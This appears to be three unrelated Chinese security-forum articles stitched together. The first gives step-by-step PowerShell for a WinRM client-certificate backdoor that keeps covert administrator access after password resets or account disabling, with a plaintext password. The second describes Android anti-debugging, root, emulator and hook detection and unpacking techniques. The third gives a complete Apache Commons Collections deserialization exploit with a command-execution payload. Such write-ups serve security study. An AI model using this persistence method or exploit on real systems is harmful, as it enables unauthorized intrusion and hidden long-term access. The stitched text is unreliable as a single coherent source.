在启用服务器Listener与Cerification Auth后，接下来需要生成客户端证书并配置服务端证书认证，主要涉及两个方面：
1、客户端证书生成
2、将服务器用户与客户端证书形成映射
* 首先生成客户端证书 ，如图五：
$winClientCert = New-SelfSignedCertificate -Type Custom -Subject "CN=administrator" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.2","2.5.29.17={text}upn=administrator@localhost") -KeyUsage DigitalSignature,KeyEncipherment -CertStoreLocation Cert:\CurrentUser\My\
图五
* 将生成的证书公钥导出 ，如图六：
Export-Certificate -Cert Cert:\CurrentUser\My\12DF3BF619B91BA2E8FAC9C52CF086F437CCC995 -FilePath C:\Windows\Temp\public.crt
图六
* 将公钥复制到Winrm服务器，验证无误后，并将其导入。
（1）验证公钥指纹，如图七：
$winClientCert = Get-PfxCertificate C:\Users\administrator.TEST\Desktop\public.crt
图七
（2） 导入证书 ，如图八：
Import-Certificate -FilePath C:\Users\administrator.TEST\Desktop\public.crt -CertStoreLocation Cert:\LocalMachine\Root
Import-Certificate -FilePath C:\Users\administrator.TEST\Desktop\public.crt -CertStoreLocation Cert:\LocalMachine\TrustedPeople
图八
* 建立客户端证书与服务器用户映射，如图九：
New-Item -Path WSMan:\localhost\ClientCertificate -Subject "administrator@localhost" -URI * -Issuer ((Get-PfxCertificate C:\Users\administrator.TEST\Desktop\public.crt).Thumbprint) -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "192.168.60.200\administrator", (ConvertTo-SecureString -String "Aa123.com" -AsPlainText -Force)) –Force
此处的Aa123.com为administrator密码
图九
* 至此服务端全部配置已经完成，同时检测IIS的web服务也能完全正常运行，如图十：
图十
## 0x05. 客户端利用证书登录
在以上步骤完成之后，客户端即可使用生成的证书以administrator身份实现Winrm远程登录。
默认客户端已启用Certificate 认证方式，同样可通过以下命令查看、启用该认证方式，如图十一：
winrm get winrm/config/client/auth
Set-Item -Path WSMan:\localhost\Client\Auth\Certificate -Value $true
图十一
Winrm远程登录命令如下，如图十二：
Enter-PSSession -ComputerName 192.168.60.200 -Port 443 -UseSSL -CertificateThumbprint 12DF3BF619B91BA2E8FAC9C52CF086F437CCC995 -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
图十二
成功利用证书完成认证登录。
## 0x06. 完美后门验证
针对现有Winrm后门修改密码立即失效的尴尬场景，本文后门方案一定程度上解决了这个问题，因为研究员发现，在用户密码修改、禁用、用户锁定等恶劣对抗环境中仍展现出优秀能力：
* **针对用户密码被修改的场景**
经测试，在多次修改administrator密码后，利用之前的客户端证书成功认证登录，如图十三、图十四：
图十三
图十四
* **针对用户被禁用的场景**
在使用该用户身份与客户端证书形成映射后，将该用户禁用，利用之前的客户端证书成功认证登录，如图十五：
图十五
* **针对用户被锁定的场景**
在使用该用户身份与客户端证书形成映射后，然后利用组策略等方法将该用户禁用，再测试利用之前的客户端证书仍然可以成功认证登录，如图十六：
图十六
可以发现，利用该后门方案配置后，无论目标服务器用户如何变更，经测试在一定时间内，均可以认证成功，可达到对目标的隐蔽权限维持。
> **利用条件：**
>
> **获得目标主机administrator会话权限/密码/HASH**
>
> **目标主机Winrm服务的 https Listener （443兼容Listener或传统 https Listener 均可）可被访问**
* * * | 社区文章 |
# App加固的种类甄别与侦查
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 混淆加固技术的发展过程
从2012年开始，移动互联网进入快速发展阶段，带动了Android
App的开发热潮，而这股热潮也推动了Android平台软件保护的发展。传统App加固技术，前后经历了四代技术变更，保护级别每一代都有所提升，但其固有的安全缺陷和兼容性问题始终未能得到解决。
**第一代加固技术—动态加载**
第一代Android加固技术用于保护应用的逻辑不被逆向与分析，最早普遍在恶意软件中使用，其主要基于Java虚拟机提供的动态加载技术。
**第二代加固技术—不落地加载**
相对第一代加固技术，第二代加固技术在APK修改方面已经完善，能做到对开发的零干扰。开发过程中不需要对应用做特殊处理，只需要在最终发布前进行保护即可。而为了实现这个零干扰的流程，Loader需要处理好Android的组件的生命周期。
**第三代加固技术—指令抽离**
由于第二代加固技术仅仅对文件级别进行加密，其带来的问题是内存中的Payload是连续的，可以被攻击者轻易获取。第三代加固技术对这部分进行了改进，将保护级别降到了函数级别。
**第四代加固技术：指令转换/VMP**
第三代加固技术在函数级别的保护，使用Android虚拟机内的解释器执行代码，带来可能被记录的缺陷，第四代加固技术使用自己的解释器来避免第三代的缺陷。而自定义的解释器无法对Android系统内的其他函数进行直接调用，必须使用JAVA的JNI接口进行调用。
## 常见的混淆加固技术甄别
**代码混淆**
在没有保护的情况下想要破解一个APP，或许你只需要使用apktool,
dex2jar等工具，就可以清楚且完整的看到一款产品的原始代码逻辑，以及一定的逆向思维就可以搞定。而最先开始的也是最为常用的保护措施为代码保护。
谷歌自带的混淆器ProGuard为免费软件可以修改类名、方法名、字段名。
用处有两个，一个是符号混淆，把原本的XXXActivity改成a，让人不好猜到这个类的用处。另一个用处是压缩文件大小。
另外就是收费版DexGuard，混淆功能更加强大，比如支持字符串加密、花指令、资源加密等功能。发展到现在DexGuard的功能更加丰富，甚至还有一些运行时的防护，已经不是一个单纯的混淆器。
代码混淆替换类名：
Null混淆：
<https://bbs.pediy.com/thread-247680.htm>
Jadx打开效果图：
**动态加载**
将需要保护的代码单独编译出来，将其进行加密后在程序运行的过程中对其进行解密，并使用ClassLoader来动态的进行加载。这是PC上保护代码的常见套路，也是后来第一代壳的基础。
将加壳后的APK文件放到jadx中进行反编译，结果如下图所示，可以看到反编译后源程序APK的代码都被隐藏了起来，说明加壳是成功的。
**Native代码**
相对于java代码容易被反编译，使用NDK开发出来的原生C代码编译后生成的so库是一个二进制文件，这无疑增加了破解的难度。利用这个特性，可以将客户端敏感信息写在C代码中，增强应用的安全性。
对于Native的恶心流保护，最火也最有效的当属OLLVM了。至于其他Native保护有两种套路
1、破坏ELF文件结构，甚至定制linker加载自定义的SO。
2、加密代码段，运行时解密，也就是跟Dex动态加载类似。或者直接套用UPX之类的传统ELF壳。
至于其他 Native 保护，最开始基本上只有两种套路：
**核心数据功能云端化**
将重要的功能、数据，全部放到云端运算，客户端能只作展示用就只作展示用。嗯，这个勉强算是现在风控的基础。
## 资源文件保护
Android
App的资源文件中存放了大量的应用UI界面图片、UI布局文件、隐私数据文件等，如何保障这些资源文件的安全性一直是开发者和应用安全人员重点关注的问题。在Android
App中，资源主要分为assets资源和res资源两类。
1.assets文件夹是存放不进行编译加工的原生文件，即该文件夹里面的文件不会像xml，java文件被预编译，可以存放一些图片、html、js、css、证书等文件。
2.res资源则存放在App的res目录下，该类资源在App打包时大多会被编译，变成二进制文件，应用层代码通过resource id对该类资源进行访问。
参考Proguard
Obfuscator方式，对APK中资源文件名使用简短无意义名称进行替换，给破解者制造困难，从而做到资源的相对安全；通过上面分析，我们可以看出通过修改AAPT在生成resources.arsc和*.ap_时把资源文件的名称进行替换，从而保护资源。
通过阅读AAPT编译资源的代码，我们发现修改AAPT在处理资源文件相关的源码是能够做到资源文件名的替换。
static status_t makeFileResources(Bundle* bundle, const sp<AaptAssets>&
assets,
ResourceTable* table,
const sp<ResourceTypeSet>& set,
const char* resType)
{
String8 type8(resType);
String16 type16(resType);
bool hasErrors = false;
ResourceDirIterator it(set, String8(resType));
ssize_t res;
while ((res=it.next()) == NO_ERROR) {
if (bundle->getVerbose()) {
printf(” (new resource id %s from %s)\n”,
it.getBaseName().string(), it.getFile()->getPrintableSource().string());
}
String16 baseName(it.getBaseName());
const char16_t* str = baseName.string();
const char16_t* const end = str + baseName.size();
while (str < end) {
if (!((*str >= ‘a’ && *str <= ‘z’)
|| (*str >= ‘0’ && *str <= ‘9’)
|| *str == ‘_’ || *str == ‘.’)) {
fprintf(stderr, “%s: Invalid file name: must contain only [a-z0-9_.]\n”,
it.getPath().string());
hasErrors = true;
}
str++;
}
String8 resPath = it.getPath();
resPath.convertToResPath();
String8 obfuscationName;
String8 obfuscationPath = getObfuscationName(resPath, obfuscationName);
table->addEntry(SourcePos(it.getPath(), 0), String16(assets->getPackage()),
type16,
baseName, // String16(obfuscationName),
String16(obfuscationPath), // resPath
NULL,
&it.getParams());
assets->addResource(it.getLeafName(), obfuscationPath/*resPath*/,
it.getFile(), type8);
}
return hasErrors ? UNKNOWN_ERROR : NO_ERROR;
}
上述代码是在ResourceTable和Assets中添加资源文件时，
对资源文件名称进行修改，这就能够做到资源文件名称的替换，这样通过使用修改过的AAPT编译资源并进行打包，下图是反编译后的截图：
## 反调试技术
反调试的目的是防止程序被第三方的调试器调式和分析。具体实施反调试的方法是：在程序启动过程中检查其是否被调试器附加、自身程序的父进程是否存在异常，以及进程列表中是否有正在运行的调试器等。
动态调试通过调试器来Hook软件、进而获取软件运行时的数据。可以在软件中添加检测调试器的代码，在检测到软件被调试器连接时中止软件的运行。
例如:
检测端口号，针对android_server这个端口号
void anti_serverport() {
const int bufsize=512;
char filename[bufsize];
char line[bufsize];
int pid =getpid();
sprintf(filename,”/proc/net/tcp”);
FILE* fd=fopen(filename,“r”);
if(fd!=NULL){
while(fgets(line,bufsize,fd)){
if (strncmp(line, “5D8A”, 4)==0){
int ret = kill(pid, SIGKILL);
}
}
}
fclose(fd);
}
检测调试进程的名字
void anti_processstatus(){
const int bufsize = 1024;
char filename[bufsize];
char line[bufsize];
char name[bufsize];
char nameline[bufsize];
int pid = getpid();
//先读取Tracepid的值
sprintf(filename, “/proc/%d/status”, pid);
FILE *fd=fopen(filename,“r”);
if(fd!=NULL){
while(fgets(line,bufsize,fd)){
if(strstr(line,“TracerPid”)!=NULL)
{
int statue =atoi(&line[10]);
if(statue!=0){
sprintf(name,”/proc/%d/cmdline”,statue);
FILE *fdname=fopen(name,“r”);
if(fdname!= NULL){
while(fgets(nameline,bufsize,fdname)){
if(strstr(nameline,“android_server”)!=NULL){
int ret=kill(pid,SIGKILL);
}
}
}
fclose(fdname);
}
}
}
}
fclose(fd);
}
## 运行环境检测
除了静态分析与动态调试，在分析软件时还可以使用动态分析技术，动态分析基于自定义的沙盒环境，通过HOOk系统中的所有关键API来输出程序运行时的动态信息。可以在运行时检测软件的运行环境，从而判断程序是否被第三方恶意使用或跟踪分析了。
**模拟器检测**
检测核心思想利用emulator和真机的区别。常用的实用方法包括TelephonyManager类、Build信息、特征文件、系统属性、基于差异化信息、基于硬件数据、基于应用层行为数据、基于cache行为和基于指令执行行为。
检测示例：
public static boolean isEmulatorAbsoluly() {
if (Build.PRODUCT.contains(“sdk”) ||
Build.PRODUCT.contains(“sdk_x86”) ||
Build.PRODUCT.contains(“sdk_google”) ||
Build.PRODUCT.contains(“Andy”) ||
Build.PRODUCT.contains(“Droid4X”) ||
Build.PRODUCT.contains(“nox”) ||
Build.PRODUCT.contains(“vbox86p”)) {
return true;
}
if (Build.MANUFACTURER.equals(“Genymotion”) ||
Build.MANUFACTURER.contains(“Andy”) ||
Build.MANUFACTURER.contains(“nox”) ||
Build.MANUFACTURER.contains(“TiantianVM”)) {
return true;
}
if (Build.BRAND.contains(“Andy”)) {
return true;
}
if (Build.DEVICE.contains(“Andy”) ||
Build.DEVICE.contains(“Droid4X”) ||
Build.DEVICE.contains(“nox”) ||
Build.DEVICE.contains(“vbox86p”)) {
return true;
}
if (Build.MODEL.contains(“Emulator”) ||
Build.MODEL.equals(“google_sdk”) ||
Build.MODEL.contains(“Droid4X”) ||
Build.MODEL.contains(“TiantianVM”) ||
Build.MODEL.contains(“Andy”) ||
Build.MODEL.equals(“Android SDK built for x86_64”) ||
Build.MODEL.equals(“Android SDK built for x86”)) {
return true;
}
if (Build.HARDWARE.equals(“vbox86”) ||
Build.HARDWARE.contains(“nox”) ||
Build.HARDWARE.contains(“ttVM_x86”)) {
return true;
}
if (Build.FINGERPRINT.contains(“generic/sdk/generic”) ||
Build.FINGERPRINT.contains(“generic_x86/sdk_x86/generic_x86”) ||
Build.FINGERPRINT.contains(“Andy”) ||
Build.FINGERPRINT.contains(“ttVM_Hdragon”) ||
Build.FINGERPRINT.contains(“generic/google_sdk/generic”) ||
Build.FINGERPRINT.contains(“vbox86p”) ||
Build.FINGERPRINT.contains(“generic/vbox86p/vbox86p”)) {
return true;
}
return false;
}
**Root检测**
仅具有常规功能的软件，其运行的环境可能不需要root权限。拥有root权限的设备，对系统有绝对的控制权，包括对APP中所有私有数据的访问及对系统API执行流程的篡改。对运行环境安全性要求较高的APP例如银行与金融理财类APP，如果运行在root后的设备上，意味着用户的财产安全将面临极高的风险，在这种情况下，应该检测系统是否运行与root后的设备上，并对特定的运行环境进行相应的安全处理。
检测原理：
1、已经root设备，会增加一些特殊包或文件，所以可以通过检测这些包(如Superuser.apk、检测su命令)、activity、文件是否存在来判断。
public static boolean checkSuperuserApk() {
try {
File file = new File(“/system/app/Superuser.apk”);
if (file.exists()) {
Log.i(LOG_TAG, “/system/app/Superuser.apk exist”);
return true;
}
} catch (Exception e) {
}
return false;
}
2、app检测是否可以执行在root下才能运行的命令。
3、检测busybox工具是否存在,关于busybox的知识google上一大堆，简单的说BusyBox
是很多标准Linux工具的一个单个可执行实现。BusyBox 包含了一些简单的工具,例如 cat 和 echo,还包含了一些更大、更复杂的工具,例如
grep、find、moun)
public static synchronized boolean checkBusybox() {
try {
Log.i(LOG_TAG, “to exec busybox df”);
String[] strCmd = new String[]{“busybox”, “df”};
ArrayList<String> execResult = executeCommand(strCmd);
if (execResult != null) {
Log.i(LOG_TAG, “execResult=” + execResult.toString());
return true;
} else {
Log.i(LOG_TAG, “execResult=null”);
return false;
}
} catch (Exception e) {
Log.i(LOG_TAG, “Unexpected error – Here is what I know: “
\+ e.getMessage());
return false;
}
}
4、运行su命令
public static synchronized boolean checkGetRootAuth() {
Process process = null;
DataOutputStream os = null;
try {
Log.i(LOG_TAG, “to exec su”);
process = Runtime.getRuntime().exec(“su”);
os = new DataOutputStream(process.getOutputStream());
os.writeBytes(“exit\n”);
os.flush();
int exitValue = process.waitFor();
Log.i(LOG_TAG, “exitValue=” + exitValue);
if (exitValue == 0) {
return true;
} else {
return false;
}
} catch (Exception e) {
Log.i(LOG_TAG, “Unexpected error – Here is what I know: “
\+ e.getMessage());
return false;
} finally {
try {
if (os != null) {
os.close();
}
process.destroy();
} catch (Exception e) {
e.printStackTrace();
}
}
}
5、检测Android 沙盒目录文件或文件夹读取权限（在Android系统中，有些目录是普通用户不能访问的，例如
/data、/system、/etc等；比如微信沙盒目录下的文件或文件夹权限是否正常）
public static synchronized boolean checkAccessRootData() {
try {
Log.i(LOG_TAG, “to write /data”);
String fileContent = “test_ok”;
Boolean writeFlag = writeFile(“/data/su_test”, fileContent);
if (writeFlag) {
Log.i(LOG_TAG, “write ok”);
} else {
Log.i(LOG_TAG, “write failed”);
}
Log.i(LOG_TAG, “to read /data”);
String strRead = readFile(“/data/su_test”);
Log.i(LOG_TAG, “strRead=” + strRead);
if (fileContent.equals(strRead)) {
return true;
} else {
return false;
}
} catch (Exception e) {
Log.i(LOG_TAG, “Unexpected error – Here is what I know: “
\+ e.getMessage());
return false;
}
}
**HOOK检测**
所谓hook技术，就是通过一段代码(反射、代理)侵入到App启动过程中，在原本执行的代码前插入其它的功能。比如：通过hook技术，上传登陆页面的账号密码等。
对于主流hook框架（Xposed、frida、Cydia Substrate），通常有以下三种方式来检测一个App是否被hook:
1、安装目录中是否存在hook工具
private static boolean findHookAppName(Context context) {
PackageManager packageManager = context.getPackageManager();
List<ApplicationInfo> applicationInfoList = packageManager
.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo applicationInfo : applicationInfoList) {
if (applicationInfo.packageName.equals(“de.robv.android.xposed.installer”)) {
Log.wtf(“HookDetection”, “Xposed found on the system.”);
return true;
}
if (applicationInfo.packageName.equals(“com.saurik.substrate”)) {
Log.wtf(“HookDetection”, “Substrate found on the system.”);
return true;
}
}
return false;
}
2、存储中是否存在hook安装文件
private static boolean findHookAppFile() {
try {
Set<String> libraries = new HashSet<String>();
String mapsFilename = “/proc/” + android.os.Process.myPid() + “/maps”;
BufferedReader reader = new BufferedReader(new FileReader(mapsFilename));
String line;
while ((line = reader.readLine()) != null) {
if (line.endsWith(“.so”) || line.endsWith(“.jar”)) {
int n = line.lastIndexOf(” “);
libraries.add(line.substring(n + 1));
}
}
reader.close();
for (String library : libraries) {
if (library.contains(“com.saurik.substrate”)) {
Log.wtf(“HookDetection”, “Substrate shared object found: ” + library);
return true;
}
if (library.contains(“XposedBridge.jar”)) {
Log.wtf(“HookDetection”, “Xposed JAR found: ” + library);
return true;
}
}
} catch (Exception e) {
Log.wtf(“HookDetection”, e.toString());
}
return false;
}
3、运行栈中是否存在hook相关类
private static boolean findHookStack() {
try {
throw new Exception(“findhook”);
} catch (Exception e) {
// 读取栈信息
// for(StackTraceElement stackTraceElement : e.getStackTrace()) {
// Log.wtf(“HookDetection”, stackTraceElement.getClassName() + “->”+
// stackTraceElement.getMethodName());
// }
int zygoteInitCallCount = 0;
for (StackTraceElement stackTraceElement : e.getStackTrace()) {
if
(stackTraceElement.getClassName().equals(“com.android.internal.os.ZygoteInit”))
{
zygoteInitCallCount++;
if (zygoteInitCallCount == 2) {
Log.wtf(“HookDetection”, “Substrate is active on the device.”);
return true;
}
}
if (stackTraceElement.getClassName().equals(“com.saurik.substrate.MS$2”)
&& stackTraceElement.getMethodName().equals(“invoked”)) {
Log.wtf(“HookDetection”, “A method on the stack trace has been hooked using
Substrate.”);
return true;
}
if
(stackTraceElement.getClassName().equals(“de.robv.android.xposed.XposedBridge”)
&& stackTraceElement.getMethodName().equals(“main”)) {
Log.wtf(“HookDetection”, “Xposed is active on the device.”);
return true;
}
if
(stackTraceElement.getClassName().equals(“de.robv.android.xposed.XposedBridge”)
&& stackTraceElement.getMethodName().equals(“handleHookedMethod”)) {
Log.wtf(“HookDetection”, “A method on the stack trace has been hooked using
Xposed.”);
return true;
}
}
}
return false;
}
## 查壳脱壳工具的核心原理
**壳的特征与侦查**
壳的特征侦查技术分为两部分，分别是APK中DEX文件与so动态库使用的编译器识别规则，以及软件壳处理目标APK后留下的特征信息。
比较常见的加固厂商特征：
娜迦： libchaosvmp.so , libddog.solibfdog.so
爱加密：libexec.so, libexecmain.so
梆梆： libsecexe.so, libsecmain.so , libDexHelper.so
360：libprotectClass.so, libjiagu.so
通付盾：libegis.so
网秦：libnqshield.so
百度：libbaiduprotect.so
**加壳技术发展**
Dex的加固技术发展
1、 dex整体加固：文件加载和内存加载
2、 函数抽取：在函数粒度完成代码的保护
获取到保护的dex后，函数体的内容是无效的，注意这里说的是无效，而不是无意义。有的app加壳后函数亦然是有意义的，但不是我们想要的。
3、 VMP和DEX2C：Java函数Native化
获取到保护的dex后，函数的属性由Java属性变为native，典型的由数字的onCreate函数Native化。Dex2C则为对Java函数进行语义分析后生成C/C++代码，生成相应的so文件。
so加固的种类
1、基于init、init_array以及JNI_Onload函数的加壳
2、基于自定义linker的加壳
3、加壳技术的识别
**脱壳方式**
动态加载型壳：
动态加载型壳属于第一代壳。静态分析变得无从下手，攻击方还可以以上帝视角来进行动态分析。面对动态分析，原本最直接有效低成本的动态加载也变成最脆弱的一种保护方式。通常只需要附加进程做一个内存漫游搜索dex.035或者甚至直接看Segment名称就能在内存中找到动态加载的dex文件并dump下来，发展到现在，这个办法依然对大部分加固的一代保护有效。
代码抽取型壳：
代码抽取型壳属于第二代壳。它的主要特点是：即使DEX已经加载到内存中，也仍处于加密状态。
真正的代码数据并不与Dex的结构数据存储在一起，就算Dex被完整的扒下来，也无法看到真正的代码。这个保护真正杜绝的了一代保护的致命缺陷，同时也宣告手工脱壳的时代结束了。
Dexhunter 是所有二代壳脱壳机的鼻祖，原理是通过主动加载Dex中的所有类，然后Dump所有方法对应代码区的数据，并将其重建到被抽取之后的 Dex
之中。
此类主动加载脱壳机大概的流程是：
遍历Dex中的所有类 -> 模拟加载类的流程(例如调用 dvmFindClass 等系列函数) -> 解析内存中的数据 -> 在 Dex
文件中填充数据或者重建结构。
代码混淆壳：
代码混淆壳分为java级别的代码混淆和原生程序的代码混淆。而原生程序的代码混淆称之为第三代壳。
代码混淆壳在编译时改写了代码生成的指令，因此分析该程序时谈不上是脱壳，而是对原始指令的还原，或者说是对代码混淆的海源。针对Obfuscator-LLVM的混淆方式，主要的分析方法为指令替换混淆的还原、控制流平坦化混淆的还原、伪照控制流混淆的还原。
## 参考资料
<https://juejin.cn/post/6844903733248131079>
<https://www.jianshu.com/p/137ca0a371d6>
<https://mp.weixin.qq.com/s/tI89U6eht0F_KrMJXooo1A> | 社区文章 |
## 从apache-commons-collections中学习java反序列化
### 前言
java安全学习的第一篇文章， **apache commons collections3.1**
的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞，废话不多说，我们直接上手分析。希望能帮助到和我一样的初学者。
### 环境准备
* jdk 1.7版本
* IntelliJ IDEA
* File -> Project Structure ->Modules-> Dependencies ->JARs or directories
* commons-collections-3.1 jar
* 可以直接使用idea自带的maven下载依赖包:
* <https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1>
### 基础知识准备
#### java反射机制
反射就是在运行时才知道要操作的类是什么，并且可以在运行时获取类的完整构造，并调用对应的方法。
Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。
Java.lang.Class;
Java.lang.reflect.Constructor;
Java.lang.reflect.Field;
Java.lang.reflect.Method;
Java.lang.reflect.Modifier;
##### 获取反射中的Class对象
#Class.forName 静态方法
Class clz = Class.forName("java.lang.String");
#使用 .class 方法。
Class clz = String.class;
#使用类对象的 getClass() 方法
String str = new String("Hello");
Class clz = str.getClass();
##### 获取方法
getMethod方法返回一个特定的方法，其中第一个参数为方法名称，后面的参数为方法的参数对应Class的对象
public Method getMethod(String name, Class<?>... parameterTypes)
##### 反射Runtime执行本地命令
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例，等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 调用exec方法，等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取命令执行结果
InputStream in = process.getInputStream();
// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));
#### Java反序列化
类似php中反序列化使用的魔术方法，比如__destruct函数。在java中， **readObject**
方法在反序列化漏洞时起到了至关重要的作用，利用ObjectInputStream的readObject方法进行对象读取的时候，
**当readObject()方法被重写的时候，反序列化该类时调用的就是重写的方法。**
private void writeObject(ObjectOutputStream oos) //自定义序列化
private void readObject(ObjectInputStream ois) //自定义反序列化
private void readObjectNoData()
protected Object writeReplace() //写入时替换对象。
protected Object readResolve()
反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义`readObject`和`writeObject`方法从而实现自定义的序列化和反序列化操作。
### 漏洞原理分析
我们在分析cc链反序列化化漏洞的主要思路其实就是两条:
* 利用`InvokerTransformer` 、 `ConstantTransformer` 、 `ChainedTransformer` 等类构建反射链，利用java的反射机制，然后通过类中的transformer类来调用。
* 找Common Collections中的类在反序列化时，会触发调用 `transform` 方法的情况，并以此来构建反序列化漏洞的攻击链。
接下来我们使用IDEA跟进代码进行审计
#### 一、寻找反射链
##### org/apache/commons/collections/functors/InvokerTransformer
**IDEA跟进类中(48~61行):**
可以看到此处的transform方法调用了java的反射机制,并且发现`this.iMethodName` , `this.iParamTypes`,
`this.iArgs`我们都是可以直接输入的。而`input`是在函数调用的时候传入的，我们同样是可控的。
当我们向对应参数传入以下值，即可以调用代码执行:
**存在一组可控的反射调用**
是cc链存在反序列化漏洞的根本原因，但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果，这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。
要想真正的形成调用链，我们仍然需要利用java的反射机制来调用函数，并且至少要调用四个方法:
getMethod(), getRuntime(), exec() ,invoke()
所以我们之后找到了`ChainedTransformer` 类。
##### org/apache/commons/collections/functors/ChainedTransformer
**IDEA跟进53~63行**
简单的分析代码逻辑，该类的构造函数接受一个数组，我们只需要传入一个数组`chainedTransformer`就可以依次去调用每一个类的transform方法。
#### org/apache/commons/collections/functors/ConstantTransformer
接口函数，在上面的循环中进入了不同的函数。给一个初始的object，然后输出作为下一个输入，从而实现链式调用。
**最后的反射poc如下:**
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法，然后getMethod方法再反射调用getRuntime方法，返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法，然后反射执行Runtime.getRuntime()方法，返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
我们已经构造好了恶意的反射链条，现在我们的目标是触发该类的transform方法。
#### 二、寻找触发链
某个类的readObject方法
->一系列调用
->Transformerchain的transformer方法
->执行反射链
->执行Runtime.getRuntime().exec(new String[]{"calc"})
* 找到一个 `tansform()` 方法 , 该方法所属的实例对象是可控的
* 找到一个重写的 `readObject()` 方法 , 该方法会自动调用 `transform()` 方法.
#### JDK1.7--TransformedMap利用链
**Transmap类**
在一个元素被添加/删除/或是被修改时，会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。
因此，我们可以先构造一个TransformeMap实例,然后修改其中的数据，然后使其自动调用我们之前设定好的transform()方法。
##### 调用链:
->ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
##### 分析：
首先看`/org/apache/commons/collections/map/TransformedMap`
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
`TransformedMap`中的`valueTransformer`在初始化时我们是可控的.
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
当执行put方法时会进入`transformValue`方法:
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
我们可以控制这里的`valueTransformer`值为ChianedTransformer即可触发利用链。
**但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢?**
##### AbstractInputCheckedMapDecorator类
调用java自带类`AnnotationInvocationHandler`中重写的readObject方法，该方法调用时会先将map转为Map.entry,然后执行setvalue操作。
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
TransformedMap利用Map.Entry取得第一个值，调用修改值的函数，会触发的setValue()代码
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
接着到了TransoformedMap的checkSetValue()方法。
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。
##### 最后的POC：
这里直接上其他大师傅们的poc:
package Serialize2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Exec implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
#### JDK1.8--LazyMap利用链
对于JDK
1.8来说，`AnnotationInvocationHandler`类中关键的触发点，setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用，
##### 调用链
反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
##### 分析
我们首先看一下LazyMap这个类,这个类也实现了一个map接口:
protected LazyMap(Map map, Transformer factory)
{
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
//get方法
public Object get(Object key)
{
if (!this.map.containsKey(key))
{
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
return this.map.get(key);
}
